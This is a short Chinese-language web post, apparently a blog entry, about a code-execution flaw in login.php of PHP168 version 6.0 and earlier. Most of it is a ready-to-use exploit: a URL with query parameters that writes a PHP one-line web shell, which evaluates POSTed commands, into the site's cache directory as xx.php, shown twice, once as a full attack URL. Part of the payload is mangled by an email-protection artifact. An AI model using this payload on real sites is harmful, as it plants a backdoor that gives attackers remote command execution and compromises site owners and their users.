PHP168 6.0及以下版本login.php代碼執行

標籤：http   os   sp   on   檔案   log   bs   代碼   html   

在其網域名稱後加上這樣一段代碼：

login.php?makehtml=1&chdb[htmlname]=xx.php& chdb[path]=cache&content=<?php%[email protected]($_POST[cmd]);?>。

這段代碼 的意思利用login.php檔案將

<?php%[email protected]($_POST[cmd]);?>

這段代碼寫入到網站緩衝目錄 cache的xx.php檔案中。“<?php%[email protected]($_POST[cmd]);?>”就是一句話木馬的服務端。

 

 

URL是

http://www.xx.com/login.php?makehtml=1&chdb[htmlname]=xx.php&chdb[path]=cache&content=<?php%[email protected]($_POST[cmd]);?>

PHP168 6.0及以下版本login.php代碼執行